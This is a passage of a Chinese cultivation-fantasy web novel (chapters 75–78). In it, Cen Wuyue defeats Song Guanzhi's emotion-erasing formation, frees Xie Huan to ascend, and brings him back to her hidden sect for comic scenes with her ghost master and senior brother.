宋观止一定也觉得他很好骗吧。 反正岑无月是这么觉得的。 —— 当宋观止制住谢还、对岑无月下杀手时,身外之身只来得及闷哼一声,就被无形的力量杀死,随后身体瞬间被带走。 岑无月其实一直很好奇宋观止到底打算怎么做。 对,她知道宋观止要用她的身体配合那九个无情道的倒霉蛋来同化世间,获得一个所有人都无血无泪的新世界——但具体是怎么做呢? —— 实在没想到具体的办法是如此地……实际。 偃甲和身外之身都像是加入水里的芡粉那样,被融入了阵中。 而在这过程中,岑无月一直有种怪异的感觉。 像是有一扇摸不着看不见的门在她意识中逐渐“长”了出来。 穿过那扇门,应该便是天上地下清心寡欲阵的内部。 等待这扇门完全生成稳定后,岑无月毫不犹豫地“跨”了进去。 穿过门时,正好看见宋观止的手插入她自己的灵府。 是正正好的时机,早一步晚一步都没有这么妙。 岑无月弯腰按住宋观止的手臂,笑道:“先等一下,不要急嘛。” 宋观止倏地抬头,双眼迸射前所未有的冷厉,举手间雷霆之势的杀招便已扑到岑无月面前。 只是岑无月早有准备,提前一步便侧身躲开了。 到了这种关头,双方已经不必要再进行多余的交谈与质问来浪费时间,只消几个眼神交换,便能自然而然地明白一切。 宋观止安静了两息时间,道:“你的胆子很大,但太自负。” 她只轻轻地说十个字,但岑无月完全明白整句话的意思。 ——既然会准备替身,说明早就知道阵法针对的是自己。 ——明知道阵法针对自己,居然还敢踏入阵中。 “不入虎穴,焉得虎子嘛。”岑无月笑眯眯地说着,歪头观察宋观止的伤势,估摸着判断,“真君现在不是我的对手吧?” 如果不是宋观止此时还连着天上地下清心寡欲阵、九个死倒霉蛋、一个活倒霉蛋,只怕已经是气若游丝。 宋观止空余的手轻轻一勾,一股强大的灵力便自灵墟方向奔来、涌入她的体内,为这具苟延残喘的身体延续力量。 她一边将染血的手掌向外抽,一边淡淡道:“只要谢还在,你不会是我的对手。” 宋观止和岑无月都心知肚明,谢还需要镇守灵墟,他绝不会离开阵眼。 而岑无月想要先杀谢还、再杀宋观止,那就更不可能了。 岑无月后退两步,取出两支箭。 宋观止看了两眼,皱起眉。 —— 岑无月很早就确定一件事:谢还应该是个宋观止会忌惮的对手。 因为他是这么多接近、抵达飞升门槛的人中,唯一一个没死在宋观止手里的。 宋观止不杀他,定是有所忌惮而不是什么“会反伤此世,导致生灵涂炭”。 宋观止怕谢还真去进行“飞升”这一行为。 有一个问题是:被骗了的谢还是如何在这么多年里压制自己不飞升的呢? 他确实特地给翊麟城的神兽喂了不少灵力作为释放,但根据岑无月对神兽的观察来看,那点量远远不够。 ……那答案就一目了然了。 修真界里只有一样东西能这么强劲。 ——谢还也对自己下了舍缚。 难怪他对她的眼睛这么感兴趣。 新的问题是:岑无月并不能完全操控谢还。 无论是从孢子还是从心理上,都不能保证一定能成功。 而岑无月又是绝不冒险的性格。 她只有在完全织好网后才会出手。 所以从一开始,岑无月就没有把谢还算进自己的助力中。 但谢还也在棋盘上有他自己的位置。 岑无月在离开六合书院之后没多久,就已经将他的位置安排摆放好了。 自翊麟城的“神兽”处得到的箭共有三支。 第一支用在千嶂夕身上试验过效果后,岑无月便将剩下两支都算在了谢还头上。 长老和弟子也算同门,不是吗? —— “真君莫非以为我会杀你、杀谢还吗?那可太以己度人了。”岑无月笑笑,弹指射出第一支箭,道,“谢还,破除舍缚。” 宋观止倏然变色,抬头想要拦截,但那流光的速度仍然快得惊人,只是一闪便瞬间消失。 电光石火之间,岑无月已接连射出第二支箭,口中发出的还是同一条命令:“谢还,破除舍缚。” 第76章 第 76 章 宋观止晚了一步, 没能阻止,冷声呵斥:“你可知道谢还一旦离开灵墟——” “灵墟里那个东西会出来嘛。”岑无月毫无紧张感地抢白,“但是诶, 真君你真的觉得那个东西会毁了人世间吗?” 宋观止根本懒得回答, 冷静地思考补救的办法。 “天上地下清心寡欲阵真的很厉害, ”岑无月在原地踱了两步, 夸赞完毕, 又好奇地问, “但是你好像从来没有想过它若是落入别人手中应该怎么办, 是太自信这件事不会发生吗?” 宋观止一怔。 岑无月走来走去,炫耀似的用脚掌拍打地面:“忘啦?我的一部分已经在这里面了。没有谢还作补给,真君未必是我的对手哦。” 话音刚落,岑无月立刻感觉到宋观止的神识缠过来,试图绞杀她在阵内的那部分神识。 双方的意志对抗一阵,不分胜负。 宋观止冷静下来, 她用灵力封住伤口, 问:“你到底想要什么?我们可以谈。” “想要飞升,想要真相,想要自由,想要我师门的所有人都可以回家……”岑无月笑眯眯地随意数了几个,“——哪一个是真君能替我做到的?” “你随时可以飞升。”宋观止说。 “不对吧,”岑无月用手划出一道弧形,疑惑地问,“这个修真界不是被真君你亲手封起来了吗?” 干铎海飞升途中突破屏障, 便被宋观止灭了口。 “……你知道了很多事情。”宋观止慢慢地说, “那你更应该明白,我做一切, 是为了芸芸众生。” “我不在乎这个。”岑无月摆摆手,“我不是谢还,不吃这一套。” 宋观止盯着她看了片刻,问:“那你现在要做什么?打破屏障、独自飞升、留下这世间所有人等死?” 岑无月不答反问:“你真的认为是‘情’毁了世间万物吗?” “是。”宋观止坚定地道。 “那直接杀光所有人不就得了?” “人是无辜的,虽然生而有情,但这并非他们的错。” “若你真能让所有人都无情、无泪、无血,他们和草木石头又有什么区别?” “他们还活着,这就是最大的区别。” “哎,”岑无月道,“说到头来,要么是天替他们选,要么是你替他们选。无论如何,他们总是无法为自己做选择的。” 宋观止不为所动:“这是弱者的宿命。” “那如果你是错的呢?”岑无月问。 宋观止看向她:“你有更好的办法?” “哎呀,不是,”一直在阵法中走来走去的岑无月终于停步了,她笑道,“我是说,如果从一开始,你们就是错误的呢?” 宋观止叹息:“你我道不同,多说无益。” 她已没有了与岑无月厮杀的打算。 在接连两支箭发出后,谢还便不得不离开了活眼。 破除舍缚的他,若不飞升就只有爆体而亡。 失去谢还的镇压,灵墟的枢纽几乎是紧随其后开始暴动,恶念业障沿着那九条灵脉的路线喷薄而出。 与大阵紧密连接的宋观止能感觉到几乎是毁天灭地的架势——她只有庆幸自己提前让奚逐云通知过大小门派、城主,令他们在这日开始严禁弟子居民外出。 与岑无月辩论这一会儿,谢还已开始冲击空中那层无形的屏障。 宋观止是亲手设下那层屏障、用以阻拦捕捉高阶修士的人。 那道屏障挡不住岑无月,也挡不住谢还——她再清楚不过。 事到如今,宋观止只剩一条路可走:先下手为强,启动阵法、净化世人。 人们或许是被欺骗引导着崇尚了千年的无情道,但届时那个清明无情的世界里,即使知道过去几千年的真相,他们也不会再产生任何愤怒与怨恨的情绪。 九名半步飞升无情道修士、一名道心通明修士——哪怕只是她的身外之身——启动大阵的一切条件也已满足,最多是在灵力上稍有不够,宋观止也可燃命填补。 在快速地权衡利弊后,宋观止选择无视岑无月,全身心沉入阵法中,并重新将自己灵府的伤口破开。 这一次,她精准地洞穿、搅碎自己的死穴,将死亡前夕爆发的强横灵力灌入脚下的活眼中,依照只有她知道的核心阵纹流动、联结,将这贯彻山河江海的阵法完全激活启动。 缓缓启动的阵法穿过九种不同的无情道心,最后捕捉住阵内一股透彻的神念意志——那是岑无月的身外之身。 它将以这些为标准,抹除现在、以及未来所有人不该有的情绪。 察觉到这股意志已不可抗拒地向外扩散开来,宋观止长舒一口气,瘫坐在地。 那些属于不同人的无情道心仍在她耳边、脑中回荡。 宋观止心如止水地接收、过滤它们,只觉得自己前所未有地冷酷清明。 是的,这就是最好的延续办法。 纵然行尸走肉,但人们至少可以活着。 完成这一切后,宋观止抬头看向不远处的岑无月。 猜想岑无月可能会上前阻止,宋观止提前操纵阵法为自己建立好了防线。 但一直到阵法完全启动,岑无月都没有动过一步。 ……为什么? 背着手的岑无月也正低头看向宋观止。 对上视线后,岑无月笑眯眯地说:“真君,我虽不才,但耳濡目染之下,也学了一些阵道。” 宋观止没有说话,几近枯竭的头脑勉力运转,思考岑无月的目的。 片刻后,她的目光缓缓下移,落到岑无月脚下。 岑无月确实一步也没有动,双足踩在两条看起来平平无奇的临近阵纹上。 她脚边微微泛着一圈光晕,被踩住的阵纹则有些黯淡。 ……是用来感知的两条阵纹。 “凭我的实力改动不了阵法,就只能做点障眼法了。”岑无月轻巧地挪开两步,道,“进了实物一看比我想象中复杂呢,找了半天。唉,其实我本来真的是不爱在这种时候东拉西扯的人。” 岑无月移动站位、释放阵纹的瞬间,宋观止感觉仿佛有一片无形的树叶从自己眼前被取走,世界骤然变色。 那占据她脑海的无情与理智在刹那间消失又翻转,像是撕下了面具露出真容的怪物。 “不甘”“怨恨”“嫉妒”“痛苦”“害怕”“悲伤”“喜悦”“憧憬”“振奋”“同情”“迷恋”“自豪”…… 宋观止头疼欲裂,惊惧不定。 她陡然意识到自己刚刚借助阵法向世间扩散的,并非是全新的河清海晏,而是这些混乱的、应该被剔除的情绪。 即使离死已经不远,但宋观止终究是天下第一。 她迅速挤出最后一丝力量,探入阵中,检查其余阵眼。 本应空无一人的灵墟活眼上,此时立着一只四不像的动物。 它正大张着漩涡状的巨口,将地面枢纽处涌出的业障统统吸入口中。 四面八方的业障都在顺着这股难以抗拒的吸力向灵墟方向奔涌,随后被灌注为大阵的能量。 而另外九枚死眼上盘腿而坐的九名修士,作为阵法的一环,早已被各色情绪所污染。 随着阵法的扩散,全天下都将被这些情绪污染,随后在癫狂中死去。 宋观止当即想要阻止阵法、停止运转。 可她在设计此阵的最初,就从没有想过要将它停下的办法。 加之自破灵府的宋观止此时已是油尽灯枯、无能为力,她只有绝望地喃喃道:“不行……” 声音很小,几乎是耳语,但岑无月听见了。 她“哎呀”了一声,道:“看在我做了这么多努力的份上,别这么快下结论嘛。” 宋观止已然睁不开眼睛,曾经强劲无匹的神识也枯萎消亡。 可她仍在重复向岑无月告诫:“你会……害死所有人……” …… 一片黑暗中,宋观止感觉到有人靠近过来,安抚地摸她的头发:“确实,你我道不同多说无益。” 是岑无月那总是无忧无虑、叫人听了便要花些力气阻止嘴角上扬的轻快声音。 “——最重要的是,我们对‘死’的定义不同。” —— 字面意义上曾经“一手遮天”的太上无相真君就这样悄无声息地死了。 为了防止对方玩一手假死,岑无月试着把宋观止的身体收进储物戒里。 能收,那说明确实死透了。 岑无月站了起来。 她将神念探入阵中,一瞬便通过阵法传送到灵墟的活眼处。 这里本应该是谢还的位置。 不过谢还的舍缚一破,那肯定是立马就得飞升,根本坐不住。 抬头往上看,就能见到谢还立于虚空中的身影。 岑无月仰头看了一会,不由得心中称赞:看起来简直像是把天都打裂了呢! 她又低下头来,向地面看去。 隐隐可见枢纽中穿梭一条纤长的银白色身影,显然是现出原形的奚逐云。 奚逐云为什么会在灵墟? 一来,这是他心中净庭山的使命;二来,岑无月把他送的银鳞护符放在了谢还身边的蜘蛛偃甲里。 谢还一出事,护符一碎,奚逐云即便有数个目的地,最优先全力赶往的也一定是灵墟。 谁让岑无月真的很需要奚逐云来控制灵墟中业障的输出速度呢。 最后,岑无月又扭头摸了摸身旁的四不像。 昔日在翊麟城,岑无月将自己最本质的少量孢子留在了神兽体内。 随着时间的推移,神兽也陆续多吃了一些孢子进去。 岑无月静静等待十几年,等待孢子的控制抵达一个不需要去翊麟城攀天阶、也可以强行将“神兽”自天门后召唤出来的程度。 就是为了今日能用上它。 岑无月拍拍神兽的足后跟——她只有这么高——对它发出鼓励的声音:“两位前辈,谢还,还有其他受害者们,加油,能吃就多吃点,修真界的未来就在你们手里啦!” 这只封家人所创的“神兽”本质就是吸食力量融入己身,用在这种地方再适合不过。 眼下吸得太多,甚至连身体都有些凝实了。 岑无月跃至神兽背上,仰头观察空中的进度。 当宋观止所布下那层飞升屏障被谢还完全击碎的那一刻,岑无月便收回目光,对神兽道:“用不上你了,回去。” 神兽不情不愿地闭上嘴,身形渐渐隐去,归于天门之后。 阵法的运行速度缓了一些,并且随着时间的推进,越来越缓慢。 这天上地下清心寡欲阵一旦开始运转,便无法强行中断,只会在达成目的之后才会停下。 即使岑无月用业障污染、扭转了这一目的,阵法的机制并不会因此产生改变。 它仍会兢兢业业按照阵内的十个受体的状况来同化世间人的情绪,并在同化完成后停止。 借助这设立在山河上的阵法,岑无月只需一动心意,便能看到很远的地方。 屠杀的魔修因为突然听见孩童撕心裂肺的哭声,怔忡地停止了动作。 在坐忘阵里入定清心的无情道修士面色不断变换,最终阵法碎裂,他也震惊地吐出一口血。 奔跑的人群中,有人不慎摔倒,素不相识的路人犹豫片刻,一咬牙一跺脚,骂骂咧咧地回头逆着人流去救。 …… 阵法终于完全停下,激荡的千百种情绪缓缓淡去,归于宁静。 岑无月收回了神识。 之前切割出的身外之身肯定是收不回来了,将会和这运转完毕的天上地下清心寡欲阵一起熄灭死去。 但至此,她下山以来的所有目的都达成。 这便足够了,不是吗? —— 这是一个在引导之下,所有人都以“无情”为导向、唾弃“情”存在的世界。 可人只要活着,就不可能只有一面。 因此可以爱,可以不爱,更可以恨。 可以宽恕,也可以怨怼。 可以软弱,也可以坚强。 可以喜悦,也可以悲伤。 可以嫉妒,也可以放下。 可以恐惧,也可以无畏。 …… 至少,人应当有选择。 第77章 谢还(一) 说出来可能会让很多人气死, 但飞升对谢还来说并不重要。 若是真那么重要,他就不会被宋观止说服、爽快立下压制修为的舍缚了。 但很显然他飞升、或者不飞升这件事,对于其他人来说很重要。 宋观止觉得重要。 所以她找各种借口让他放弃飞升, 好保持这个罩着修真界的罩子不被人打破, 好让她能等到岑无月的出现, 好启动天上地下清心寡欲阵。 岑无月也觉得重要。 所以她虽然表现出和他一样被宋观止牵着鼻子走的模样, 结果只是为了在最后关头把他和宋观止一起坑进去。 击碎屏障后, 谢还满不在乎地一脚踢开那道五光十色的接引梯, 坐在云端陷入了长久的沉思。 他把回忆捋了一遍又一遍, 不得不承认一件事情:他压根搞不懂。 搞不懂宋观止到底想干什么,话里又几分真几分假。 更搞不懂岑无月到底怎么、何时知道的一切,话里又几分真几分假。 不是,说到底,她们俩到底在下面的阵里斗了什么法啊? 远远还能看见翊麟城那边也好大动静哦。 更别说刚刚突然出现的奚逐云看起来也很可疑。 这些表里不一的人真的好难懂。 谢还撇撇嘴,一个后仰从云端坠了下去。 天上地下清心寡欲阵已经停止运转, 原本暴动乱窜的业障像是被滴入河水的几滴墨汁, 融入空气消失不见。 谢还新鲜地打量着这似乎焕然一新的世界。 怎么说呢。 好像微妙地混乱肮脏了一些,但同时也好像鲜活明亮了一些。 阵法刚刚破碎,谢还马不停蹄地赶到太上门的活眼位置,没发现岑无月。 纳闷地再去原本宋观止的活眼,也没有岑无月。 …… 最后居然是在灵墟逮到的人。 谢还盯着毫发无伤的岑无月使劲看,后者八风不动,还是笑眯眯的无害样子:“飞升完和没飞升差不多嘛。飞升了还回来干嘛?” “你还先评价上了?”谢还戳她的脑袋,“不听听你到底利用我做了什么, 我破碎虚空都死不瞑目!” 岑无月“哎”了一声, 完全没有解释的意思,只笑道:“那再来让我用一下。” 谢还:“……” 俗话说得好, 有一就有二。 谢还任劳任怨地帮着清理了已经不再是黑白二色的灵墟。 九道灵脉交汇而成的枢纽仍然存在,流动的灵气仍是灰蓝色,但原本寄宿其中、蠢蠢欲动的恶念化身却消失不见。 谢还和这个地方朝夕相处几百年,还是第一次见它这么安静。 他突发奇想地转向岑无月:“这个地方说不定以后又会被叫回紫霄州了?” “应该会换个名字吧,”岑无月想了想,提议,“圣河之类的。” 谢还觉得很土:“好傻的名字。” “更傻的是谢还。”岑无月说。 “?”谢还大声喊冤,“我可没人身攻击你!” 岑无月笑看他:“能被骗在这种没吃没喝没颜色的地方待几百年不离开,你不傻谁傻?” “……”谢还强自镇定地为自己辩解,“你不明白,她很有说服力。” “我明白,”岑无月道,“你听谁说都这么想。” 谢还不满道:“我哪有那么好骗?” 他得到了岑无月一个怜爱的、好像在看小动物的眼神。 谢还立刻较真上了,据理力争:“除了你和真君,我没有被别人骗过啊?” “其他人没胆子骗你罢了。”岑无月道,“不信?来,我证明给你看。” 谢还严阵以待:“来吧!” 岑无月说:“其实你最开始会遇见我,就在我的计划之中。” “啊?” “你身上有舍缚,不是吗?因此你会对他人身上的舍缚多投注一丝注意力。哪怕你只是路过我身边,都会关注到舍缚、进而发现我非人类,来向我搭话。” “……嗯……”谢还左思右想,艰难找到一个逻辑漏洞,“但你又是怎么知道我会出现在那里的呢!” 岑无月用手指点点自己的眼角:“我用了一只眼睛。” 谢还大受震撼:“我对你来说这么重要吗?你一共也就八只眼睛诶。” 岑无月乐了,笑得停不下来。 “……”谢还面无表情地问,“假的?” 岑无月点头。 谢还:“……” —— 两人去太上门归还了宋观止的肉身。 太上门的人总是神神秘秘、沉默寡言。 确认过岑无月和谢还都是本人,他们什么也没有问,默然接收了尸体。 这桩事办完后,谢还重新积攒头脑与信心,精神抖擞地向岑无月发起挑战:“再来!” 岑无月想了想,指着广场道:“天上地下清心寡欲阵启动前,我在这儿吃了一碗抄手。” 谢还聚精会神地听:“这我知道,都听见你吃东西的动静了。” “然后我按照你教的方法捏了个身外之身。” 谢还这次答得很快:“你的神魂少了一块,我刚才一见你就发现了。” 岑无月点点头,轻描淡写地说:“然后那个身外之身被真君杀掉吸收进阵里了。” “……”谢还突然警惕地扭头看了一下自己的背后,“……还以为你的身外之身会在这时候跑出来偷袭吓我一跳,哈哈。” “死掉怎么还会出现?” “……”谢还面无表情地问,“真的?” 岑无月点头。 谢还:“……好,这个游戏先暂停,你先把事情给我说清楚。” —— “……所以,其实你一直都知道飞升很可能是个骗局,只是并不了解内情。” “嗯。” “……从你还没下山开始。” “嗯。” “……这个才是你用一只眼睛换的情报。” “嗯。” “而你从第一次见我之前,就想好要利用我去打碎那层屏障了。” “嗯。现在你猜这些是真的还是假的?” “……” “你看,就说你没有判断真假的能力吧?” —— “你也不急着飞升,更不急着公开事实接受世人崇拜,接下来要做什么?” “嗯……事已至此,先吃饭吧。” “找找你的小师兄和三师姐?我现在比以前更强,说不定能找到哦。当然前提是……” “不用,其实我早就都找到了。” “……啊?” “你猜?” …… 一路下来,谢还只觉得装都不装了的岑无月比从前更为恶劣了。 他简直像一块软泥、一个零件,被她随意在掌心里搓圆捏扁,压根分辨不出她的每一句话是真、是假、还是半真半假。 但他每每想到自己是唯一知道这么多内情的人,心情又莫名舒畅高昂。 虽然这很可能是因为岑无月明白瞒不住。 尽管没有登上接引梯,但谢还如今是实打实的飞升之人。 许多既定的事实,岑无月哪怕不说,谢还也能轻易分辨出来。 譬如,即使原本的他不通阵道,如今只消看一眼天上地下清心寡欲阵的残部,便能明白宋观止的打算是什么,而岑无月又对阵法做了什么。 路过翊麟城时,看一眼空中,便能感受到那只神兽吃的是哪条灵脉的业障。 行走在人世间,每一条灵脉、每一缕灵气的细微变化,他都能清楚察觉。 ……这些关于世界运行的、既定的事实对于谢还来说,是打眼一看就能看穿的事。 可岑无月的私事就不一样了,谢还仍旧看不透她。 岑无月从一开始就与芸芸众生都不一样。 虽然谢还至今都没想明白哪里不一样,但这不妨碍他继续兴冲冲地跟在她身后,一路抵达一处清冽的山涧。 最开始,谢还以为她要来找山间野味吃,甚至还仔细看了溪间有没有鱼。 但走着走着,他突然“咦”了一声,直截了当地问:“你的师门秘境在这里?” 岑无月扭头看他,表情悠然:“你果然能找到了。” 领悟力一日比一日进步的谢还很快想明白岑无月的用意。 她放任他跟随,也不说目的地,就是为了看他在飞升之后是不是有了发觉这处秘境的能力。 毕竟这是“绝对不会被找到的地方”,苏艺桐找了这么多年,还不是无功而返。 按照岑无月所说,宋观止也找不到,那从前的谢还大概率也找不到。 可飞升是一个重要的变化转折。 很显然,这是一次测试。 若是谢还能找到,那岑无月便没有再隐瞒的必要。 若是谢还找不到,那就永远找不到,这里只是一条山间小溪,而岑无月可能会真的在溪里捞几条鱼就地烤了吃掉,然后带他离开。 想明白的谢还无言以对,他张了张嘴,最后只发出干巴巴的:“……哇。” “‘哇’,不愧是你?”岑无月弯着眼睛问。 “‘哇’,好特别,更喜欢了。”谢还俯身看她,笑嘻嘻地说,“看来我只需要多多努力就能发现很多新的秘密嘛。” 想要知道岑无月的秘密,就只能依靠自己,绝不能指望她自己露馅。 ——天地良心,岑无月?露馅?世上还有比这更明显的陷阱吗?? “来都来了,”岑无月道,“我先回师门和师父报一声喜吧。” 谢还“哦”了一声,乐颠颠跟在她身后,但神识已经提前一步在虚空缝隙中某个“不存在的地方”锁定了那处秘境。 虽然不太清楚,但他就是有一种“刚才做对了一件能让岑无月觉得高兴的事情”的感觉。 真是太神秘了。 关于岑无月的一切,都比修行、比飞升有意思太多了。 —— 周五正在秘境里躺尸放空。 全都无所谓了。 总之只要小徒弟还苟活着,自己能不能穿回去都无所谓了。 …… 就在这样一个平平无奇、活人微死的下午,从来跟死了没什么两样的秘境突然开始地震。 周五躺着一动不动。 地震吧,随便吧,反正鬼也不会被砸死。 砸死更好,早死早超生,说不定一激灵就回去了呢?哈哈。 最后还是冤种大徒弟走了出来,面色严肃道:“有人找到这里了。” 周五一愣,这才飘了起来,迟疑地说:“不可能啊。” 这里明明是“绝对不会被本世界内修士发现的秘境”。 曲燃看一眼脚下仿佛在战栗的地面,判断道:“很强。” 周五无语道:“……不要说废话,咱们先去躲起来。” “秘境就这点大,躲哪里?”曲燃动都没动,只盯着入口。 周五只好一起等着,边打开穷得叮当响的储物戒翻找可能会用得上的道具。 唉,自己死就死了,至少给冤种大徒弟留条生路。 翻着翻着,周五突然幻听了小徒弟阳光灿烂的声音:“师父,我回来啦!” 她啪一下抽出储物戒里的神识,愣愣循声看去,只见自家活泼可爱又善良的小徒弟已经闪到近前。 周五大为震撼:“你不是才下山十几年吗?难道我又一不小心睡过头了?!” 前几个徒弟下山那至少可都是几十年起步啊! 思维有些混乱的周五打开没什么用的“收徒系统”,点开“岑无月”刚刚刷新的资料看一眼,差点被修为的“半步飞升”闪瞎眼。 天才?难道这就是真正的天才?? 岑无月绕了一圈检查周五的情况,边说道:“事情都办完了,回来看看您。” 周五无奈道:“我能有什么,就是你实在是太能吃了,就没一刻嘴闲着?” 她和甜言蜜语的小徒弟聊了几句,感觉自己那并不存在的尸斑都淡了,也终于有余力关注到身边的人事物。 ——然后她就惊悚地发现,秘境里居然还有第四个人。 ……等等,一个是鬼,一只是蜘蛛,大概只有两个人。 “他是谁啊!!”几百年没见过外人的周五尖锐爆鸣。 曲燃皮笑肉不笑:“小师妹,为什么把外人带进师门来?” 岑无月歪头:“大师兄,你仔细看看,人家都飞升了,拿什么拦他。” 周五震撼一百年:“他飞升了??” 曲燃对岑无月冷哼:“哦,反正就是跟着你来的喽?” 而那个看起来有点吊儿郎当的青年此时突然从沉思中醒来,难以置信地问岑无月:“曲燃是你大师兄?那他突然来找我打架是因为你??” 周五觉得江湖的爱恨情仇实在是有点复杂了,她满怀敬畏地旁观着,和曲燃、谢还一起,将目光落到岑无月身上。 怎么看怎么无辜纯良的小徒弟甜甜一笑,反问谢还:“你猜呢?” 谢还:“……” 曲燃:“……” 周五觉得不太对劲。 周五重新打开徒弟面板。 【修为:半步飞升】下面一行就是【道德程度:沦丧】。 周五颤抖着双手向下,拖动到“人际关系”部分。 无比震撼地翻过几百个后缀是(死亡)的灰名仇人。 逐渐麻木地划过几千条无头悬赏。 心如止水地停在“情缘”部分——也不知道算不算好消息,但总之这里的人倒是不多。 …… 哈哈,谢还(已飞升),好像是刚刚在哪里听过的名字呢。 ………… 徒弟!在这个大家脑子都不太对劲的世界里谈恋爱第一条准则就应该是不能找比自己修为高、分手之后很可能杀不掉的人啊!! 第78章 谢还(二) 曲燃很不爽。 不爽自家的白菜被一头他打不过的猪拱了。 他使劲撺掇周五:“这人绝对不行, 你搞点什么出来把他弄走。” 周五一脸心灰意冷:“你跟我加起来都不够他一只手打的吧,怎么弄走?” “用你的神奇道具想想办法啊!” “那些破烂道具贵得要死而且也只能对普通修士起效好不好?”周五看着不远处玩猜真假游戏不亦乐乎的二人,“——而且接受了这个设定之后, 我觉得还挺好玩的。” “好玩??” “让我想起水果店老板养的那只小土狗。”周五幽幽地说, “每次我路过, 它都要缠着我玩球球。只缠我, 从不缠别人。我可喜欢它了, 一有空就跑去找它玩。” 曲燃思考了一下:“你说的狗是岑无月还是谢还?” 周五:“……?” —— 曲燃另辟蹊径。 打不过谢还, 但可以把他赶下山去。 收到逐客令的谢还看他一眼, 笑嘻嘻地道:“你动手呀,打得过我就可以把我赶走。实在不想见到我,你可以自己出去嘛。” 曲燃:“……”当今修真界还有谁打得过你!一个飞升的人强留在这个世界不好吧! “你们这个秘境也拦不住我啊,”谢还说着说着,想起什么似的打个响指,“我听说了, 你已经没有机会再出去了是不是?” 曲燃可以出去。 但秘境的限制是四进四出, 这次离开后,他就再也不能回来了。 谢还凑近他面前,得意洋洋地说:“但不受这个秘境限制的我可以帮你解决这个问题。” 曲燃冷笑:“天上掉钱的事我不信。” 谢还古怪地打量他:“?我怎么可能白送你?互惠互利而已。” 曲燃抱起手臂,十分警戒地说:“说来听听。” “你是岑无月的大师兄,对吧?”谢还期待地问,“那你肯定很了解她,也不会被她牵着鼻子走,更能分辨出她哪句真哪句假吧?” 尽管知道谢还应该不是故意的, 曲燃仍感觉受到了巨大的侮辱。 两人对视片刻。 曲燃沉默不语。 谢还的表情逐渐鄙夷:“这么菜, 还不多练。” 曲燃的拳头硬了。 打不过,可恶, 打不过啊啊啊!! —— 周五也被谢还逮住了。 彼时她正在进行日常发呆活动。 做鬼的日子很没有时间概念,经常这样一发呆就是好几天过去了。 但可能因为没有了身体只剩灵魂,谢还这样气血旺盛的存在便令周五很没有安全感,每次他稍微靠近点她就感觉自己要被消灭了。 这种感觉在曲燃和岑无月身上也能感觉到,但徒弟毕竟贴心,都会主动收敛,可谢还不会收敛。 谢还一走近,周五就感觉自己成了被放大镜照射的蚂蚁,整个魂都在滋滋冒烟。 她立刻回神,噌地一下坐了起来。 谢还笑嘻嘻打招呼:“师父好。” 周五毛骨悚然:“你不要乱叫啊,这种好事我可不敢想!” 可恶,要是真有第六个收徒名额就好了。 当场把这个已经飞升的便宜徒弟收到门下的话,是不是就算完成任务、立马可以回家了? 很大一只的谢还蹲到周五面前,诚恳地双手合十作许愿状:“师父,岑无月是你一手教出来的徒弟,你一定非常了解她吧?” 这点自信周五还是有的,她一点头,自豪地说道:“那当然。从她还是一只……” 话才刚开了个口,周五瞬间就反应过来、把嘴巴闭上,一脸警惕地看向谢还。 因为她发现自己根本不知道这个男人了解岑无月到什么地步。 谢还眨了眨眼——周五发现这个神态简直和岑无月一模一样——而后恍然大悟:“从她还是一只跳蛛的时候?这个我知道的啦。” ……这个尾音总有点像在撒娇的说话方式也和岑无月一模一样。 “这可是我自己发现的哦?”谢还兴高采烈地讲述,“那天我听说有一个新的魔修到处杀人嘛,准备过去看看要不要杀掉,途中正好遇见岑无月,一下就看出她的眼睛不对劲,很让人好奇诶,我从前没见过瞎眼的蜘蛛,更别提有人型、能修行的蜘蛛!” 周五:“……” “然后我就主动和她搭话嘛,猜了好久她的原型!呃,虽然最终的答案错了,但中途我有猜过蜘蛛这个选项,这也算是自己发现的,师父你说对吧?” 周五:“……你先等一下。什么叫瞎眼的蜘蛛?” 谢还:“……哇。” 路过的岑无月:“又‘哇’什么?” 蹲在地上的谢还回头,毫无愧疚之意:“‘哇’,我竟然是最了解你的人。 ” 在不远处旁观了全程的曲燃发出嘲讽的笑声:“难道不是‘哇’完蛋我居然说漏嘴了?” 周五深吸一口气,打开徒弟面板,看了又看,伸出颤抖的双手:“小月,你的眼睛怎么了?” 岑无月眨巴眨巴黑白分明的双眼,很无辜地道:“我的眼睛看得很清楚啊。” 要不是周五能看见徒弟详细属性,她就真的信了。 周五捂住胸口,感觉那早就灰飞烟灭的心脏正在疯狂绞痛:“你……你的这两只眼睛很好,我知道。我问的是另外六只眼睛里的五只!!” “哎呀,”岑无月面色如常道,“师父,这是我的私事,我们到里面说吧。” —— 曲燃目送周五和岑无月进了房间。 秘境的房间也有特别的规则。 虽说只是一墙之隔,但声音绝不会彼此传导。 也就是说,尽管大家都是有各自神通的修士,但他也偷听不到房间里那两个人的谈话。 问题是,这条规则对如今谢还是不是也有效? 想到这里,曲燃低头瞥一眼谢还。 曲燃:“……” 曲燃:“你笑什么。” 谢还兴致勃勃地抬头问他:“作为大师兄,你能猜到岑无月要做什么吗?” 作为大师兄的曲燃当然不能认输,他思考片刻,道:“辩解?” 谢还得意洋洋地朝曲燃晃食指,晃完还嘲讽:“我听说你叛出师门的时候是唯一一个徒弟,看来果然对小师妹还是不够了解啊。” 曲燃冷笑:“你一个外人能有多了解?我被她一次次算计的时候,你还不知道在哪个角落‘除魔卫道’呢。” “话怎么能这么说!”谢还立刻又较劲上了,“你只能帮上一些其他人也可以替代的小忙,但我的作用没人能替代!谁能?还有谁?” 曲燃:“……” 很憋屈,但反驳不了。 说到底,他甚至还不知道岑无月和谢还在外面做了什么。 但曲燃脑子也不坏,马上另辟蹊径进行攻击:“但她为什么需要你?是为了完成向思雨的心愿,懂?” 谢还陷入了沉思。 曲燃乘胜追击:“你我在她眼里都是工具人,你比我厉害不到哪里去,懂??” “……”沉思完毕的谢还认真地问,“向思雨是谁?” 曲燃:“……”智障都能飞升,这世道真是没有天理。 他没好气地歪头,示意紧闭房门的方向。 谢还看一眼,疑惑地问:“里面不是只有岑无月和师父吗?” “师父的名字难道会叫‘师父’?” “但师父叫周五啊。” “那是向思雨的化名!!” “话说你怎么都不叫师父,真没礼貌诶。” “我都叛出师门了叫什么师父!而且你又凭什么叫她师父,没有自己的师父吗!” “你还不知道吧?其实岑无月已经是我的同门长老,那她的师父四舍五入也算是我的师父!” “……虽然不知道具体,但这句话一听就是你被做局了。” “对吧?”谢还突然高兴起来,仿佛找到知音,“——虽然还没想明白,但我也这么觉得诶!” 曲燃:“……”有病吧!!! —— 房门很快就重新打开了。 先飘出来的是周五。 曲燃惊讶地发现她怀里居然抱着一把刀。 